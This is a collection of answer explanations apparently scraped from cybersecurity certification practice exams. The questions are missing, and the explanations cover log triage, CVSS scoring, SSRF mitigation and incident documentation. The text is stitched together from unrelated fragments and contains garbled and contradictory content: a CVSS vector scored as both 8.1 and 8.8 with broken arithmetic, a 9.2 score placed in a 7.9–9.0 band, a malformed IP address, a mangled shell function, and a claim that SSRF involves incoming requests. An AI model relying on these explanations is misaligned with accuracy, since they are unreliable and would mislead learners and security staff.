The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting © is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software integration.

The correct answer is A. 121.19.30.221.

Based on the log files and the organization’s priorities, the host that warrants additional investigation is 121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor’s range.

The log files show the following information:

The IP addresses of the hosts that accessed the web server

The date and time of the access

The file path of the requested resource

The number of bytes transferred

The organization’s priorities are:

Unauthorized data disclosure is more critical than denial of service attempts

Denial of service attempts are more important than ensuring vendor data access

According to these priorities, the most serious threat to the organization is unauthorized data disclosure, which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so123. Therefore, the host that accessed a file containing sensitive data and is not from the partner vendor’s range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only 121.19.30.221 is not from the partner vendor’s range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.

The other hosts do not warrant additional investigation based on the log files and the organization’s priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests45. However, denial of service attempts are less critical than unauthorized data disclosure according to the organization’s priorities, and there is no evidence that this host succeeded in disrupting the web server’s normal operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner vendor’s range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization’s requirements.

Therefore, based on the log files and the organization’s priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the organization.

Server-Side Request Forgery (SSRF) occurs when an attacker manipulates a web server to make unauthorized internal or external requests, often to access internal resources or exfiltrate data.

A Web Application Firewall (WAF) is the best mitigation because it:

Filters and blocks malicious requests before they reach the server.

Prevents attackers from sending unauthorized requests to internal services.

Can detect and block SSRF patterns in incoming traffic.

Why Not Other Options?

B (CASB) → Used for cloud access control, not effective against SSRF.

C (Forward Proxy) → Helps with outbound traffic control, but SSRF involves incoming requests.

D (MFA) → Helps with authentication but does NOT prevent SSRF attacks.

The function that can be used on a shell script to identify anomalies on the network routing most accurately is:

function x() { info=(dig(dig -x $1 | grep PTR | tail -n 1 | awk -F “.in-addr” ’{print $1} ').origin.asn.cymru.com TXT +short) && echo “$1 | $info” }

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies

Step 1: Reviewing the Vulnerability Remediation Timeframes

The remediation standards require servers to be patched based on their CVSS score:

CVSS > 9.0: Patch within 7 days

CVSS 7.9 - 9.0: Patch within 14 days

CVSS 5.0 - 7.9: Patch within 30 days

CVSS 0 - 5.0: Patch within 60 days

Step 2: Analyzing the Output Tab

From the Output tab:

Server 192.168.76.5 has a CVSS score of 9.2 for an unsupported Microsoft IIS version, indicating a critical vulnerability requiring a patch within 7 days.

Server 192.168.76.6 has a CVSS score of 7.4 for a missing secure attribute on HTTPS cookies, which falls in the 5.0 - 7.9 range, requiring a patch within 30 days.

Since the question asks for the server to be patched within 14 days, we need to focus on servers with CVSS 7.9 - 9.0:

None of the servers have a CVSS score that falls precisely in the 7.9 - 9.0 range.

However, 192.168.76.5, with a CVSS score of 9.2, has a vulnerability that necessitates a quick response and fits as it must be patched within the shortest timeframe (7 days, which includes 14 days).

The server that fits within a 14-day urgency, based on standard practices, would be 192.168.76.5.

Step 3: Reviewing the Environment Tab

The Environment Tab provides additional context for 192.168.76.5:

It’s in the dev environment, which is internal and not publicly accessible.

MFA is required, indicating security measures are already present.

Step 4: Selecting the Appropriate Technique and Mitigation

For 192.168.76.5, with the Microsoft IIS unsupported version:

Patch; upgrade IIS to the current release is the most suitable option, as upgrading IIS will resolve the unsupported software vulnerability by bringing it up-to-date with supported versions.

This technique addresses the root cause, which is the unpatched, outdated software.

Summary

Server to be patched within 14 calendar days: 192.168.76.5

Appropriate technique and mitigation: Patch; upgrade IIS to the current release

This approach ensures that the most critical vulnerabilities are addressed promptly, maintaining security compliance.

When prioritizing vulnerabilities, analysts consider theCVSS score, whether the system isinternet-facing, and ifsensitive datais involved. The primary goal is to mitigate the mostexploitableandimpactfulrisks first.

Let's break down the key components:

Attack Vector (AV): Whether the attack can be launched remotely (N = Network) or locally (L = Local).

Attack Complexity (AC): The difficulty of executing the attack (L = Low, H = High).

Privileges Required (PR): The level of access needed for exploitation (N = None, L = Low, H = High).

User Interaction (UI): Whether user interaction is required for the attack (N = No, R = Required).

Scope (S): Whether the attack affects other systems (C = Changed, U = Unchanged).

Confidentiality (C), Integrity (I), Availability (A): The impact level (H = High, L = Low, N = None).

Evaluating Each System:

System 1 (CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

Internet-facing✅

No sensitive data❌

High confidentiality and availability impact✅

Moderate risk due to requiring low privileges

System 2 (CVSS: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

Not internet-facing❌

No sensitive data❌

Lower priority since it’s local-only

System 3 (CVSS: AV:P/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:L)

Internet-facing✅

Contains sensitive data✅

But very low likelihood of exploit (requires physical access, high privileges, user interaction)

Lower priority due to high attack complexity

System 4 (CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H)

Internet-facing✅

No sensitive data❌

No privileges required for exploitation✅

High impact on confidentiality and availability✅

Most critical due to remote exploitability and system-wide scope

System 5 (CVSS: AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N)

Internet-facing✅

Contains sensitive data✅

But requires high privileges, high attack complexity, and user interaction

Lower priority than System 4

System 6 (CVSS: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H)

Not internet-facing❌

No sensitive data❌

Same as System 2 (low priority due to being local-only)

Final Decision: Patch System 4 First

System 4 is themost criticalbecause:

It isinternet-facing(higher exposure).

It has ahigh CVSS score.

Itrequires no privileges(easy to exploit).

It hassystem-wide scope impact(can affect other systems).

Thus, it should bepatched firstto minimize security risks.

RCE stands for remote code execution, which is a type of attack that allows an attacker to execute arbitrary commands on a target system. The suspicious command in the question is an example of RCE, as it tries to download and execute a malicious file from a remote server using the wget and chmod commands. A buffer overflow is a type of vulnerability that occurs when a program writes more data to a memory buffer than it can hold, potentially overwriting other memory locations and corrupting the program’s execution. ICMP tunneling is a technique that uses ICMP packets to encapsulate and transmit data that would normally be blocked by firewalls or filters. A smurf attack is a type of DDoS attack that floods a network with ICMP echo requests, causing all devices on the network to reply and generate a large amount of traffic. Verified References: What Is Buffer Overflow? Attacks, Types & Vulnerabilities - Fortinet1, What Is a Smurf Attack? Smurf DDoS Attack | Fortinet2, exploit - Interpreting CVE ratings: Buffer Overflow vs. Denial of …3

PID 2264 (bash running as root) is suspicious because:

It has elevated privileges (root user).

Bash (command-line shell) is running with high CPU usage (14.0%), which is unusual unless actively being used.

If unauthorized, an attacker could be exfiltrating data via command-line methods like scp, wget, or custom scripts.

Why Not Other Options?

B (34218 - Xorg) → Xorg is a display server for GUI; no signs of exfiltration.

C (34834 - Cinnamon) → Cinnamon is a desktop environment, not a threat.

D (35963 - xrdp) → xrdp is a remote desktop service, expected behavior.

Digital signatures ensure the integrity and non-repudiation of emails. Integrity ensures that the message has not been altered in transit, as the digital signature would be invalidated if the content were tampered with. Non-repudiation ensures that the sender cannot deny having sent the email, as the digital signature is unique to their identity. These principles are crucial for legal validity, as recommended by CompTIA Security+ standards. Confidentiality (A) and privacy (C) relate to encryption, while authorization (F) and anonymity (D) are unrelated to the primary purpose of digital signatures in this context.

When documenting a physical incident in a network data closet, taking photos provides a clear and immediate record of the situation, which is essential for thorough incident documentation and subsequent investigation.

Proper documentation of an incident in a data closet should include taking photos of the impacted items. This provides visual evidence and helps in understanding the physical context of the incident, which is crucial for a thorough investigation. Backing up configuration files, recording connections, and creating network diagrams, while important, are not the primary means of documenting the physical aspects of an incident.

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web application scanning with Nikto

 The script uses PowerShell syntax, such as cmdlets, parameters, variables, and comments. PowerShell is a scripting language that can be used to automate tasks and manage systems.

Comprehensive and Detailed Step-by-Step Explanation:A tabletop exercise is a structured simulation that allows teams to practice and evaluate their incident response procedures and coordination without actual operational impact. These exercises are used to identify gaps in processes and ensure preparedness for real-world threats.

D (4: HTTPS traffic to an external IP - 5.29.1.5)

The log entry shows an internal system (172.16.1.30) communicating with an external IP (5.29.1.5) overTCP 443 (HTTPS)usingBrowser.exe.

HTTPS traffic to an unknown external IP could indicate data exfiltration, as attackers often use encrypted channels to disguise stolen data transfers.

G (7: FTP traffic to an external backup server - bank.backup.com)

The log entry indicates that an internal machine (172.16.1.25) is transferring data tobank.backup.comusingFTP (port 21)andFileZilla.

FTP is a major concern because it is an outdated, unencrypted protocolthat can be exploited for data exfiltration. If unauthorized, this could be a serious data breach.

Other Options:

A (ARP traffic) → Not a concern(Just address resolution)

B (RPC Kerberos traffic) → Normal for authentication

C (SMB traffic) → Internal file sharing

**E (DNS traffic) → Common, though could be exfiltration in some cases, but not in this log)

F (WUS traffic) → Appears to be Windows Update Service traffic, likely legitimate

The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An insider threat is a person or entity that has legitimate access to an organization’s systems, networks, or resources and uses that access to cause harm or damage to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers.

A tabletop exercise is a type of simulation exercise that involves testing possible incident scenarios and how to react properly, without actually performing any actions or using any resources. A tabletop exercise is usually conducted by a facilitator who presents a realistic scenario to a group of participants, such as a cyberattack, a natural disaster, or a data breach. The participants then discuss and evaluatetheir roles, responsibilities, plans, procedures, and policies for responding to the incident, as well as the potential impacts and outcomes. A tabletop exercise can help identify strengths and weaknesses in the incident response plan, improve communication and coordination among the stakeholders, raise awareness and preparedness for potential incidents, and provide feedback and recommendations for improvement.

Regular expressions are powerful tools for searching text based on specific patterns, making them ideal for parsing Linux log files to detect security events with repeatable patterns. In Bash, regular expressions can be used in commands like grep or awk to efficiently filter log data. CompTIA CySA+emphasizes the use of regular expressions in log analysis for pattern matching, a common requirement for identifying suspicious activities in log files. Options B, C, and D are less suited for this specific task due to their limited pattern-matching capabilities or platform constraints.

The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected. These are not the correct answers for this question.

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability Scoring System version 3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect the characteristics and impact of the vulnerability. The CVSSv3 score is calculated from three groups of metrics: Base, Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic qualities of the vulnerability, such as how it can be exploited, what privileges are required, and what impact it has on confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of the vulnerability, such as whether there is a known exploit, a patch, or a workaround. The Environmental metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how it affects the asset value, security requirements, or mitigating controls. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score.

The attack vector in question has the following Base metrics:

Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a network connection.

Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or changes to the configuration of the target system.

Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target system to exploit the vulnerability, such as user-level access.

User Interaction (UI): None (N). This means that the attack does not require any user action or involvement to succeed.

Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same security authority as the vulnerable component, such as an application or an operating system.

Confidentiality Impact ©: High (H). This means that the vulnerability results in a total loss of confidentiality, such as unauthorized disclosure of all data on the system.

Integrity Impact (I): High (H). This means that the vulnerability results in a total loss of integrity, such as unauthorized modification or deletion of all data on the system.

Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability, such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula:

Base Score = Roundup(Minimum[(Impact + Exploitability), 10])

Where:

Impact = 6.42 x [1 - ((1 - Confidentiality) x (1 - Integrity) x (1 - Availability))]

Exploitability = 8.22 x Attack Vector x Attack Complexity x Privileges Required x User Interaction

Using this formula, we get:

Impact = 6.42 x [1 - ((1 - 0.56) x (1 - 0.56) x (1 - 0.56))] = 5.9

Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.8

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8

Therefore, this attack vector has a Base score of 8.8, which is higher than any other option.

The other attack vectors have lower Base scores, as they have different values for some of the Base metrics:

CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it has a lower value for Attack Vector (Physical), which means that the vulnerability can only be exploited by having physical access to the target system.

CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it has a lower value for Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited by being on the same physical or logical network as the target system.

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has a lower value for Attack Vector (Local), which means that the vulnerability can only be exploited by having local access to the target system, such as through a terminal or a command shell.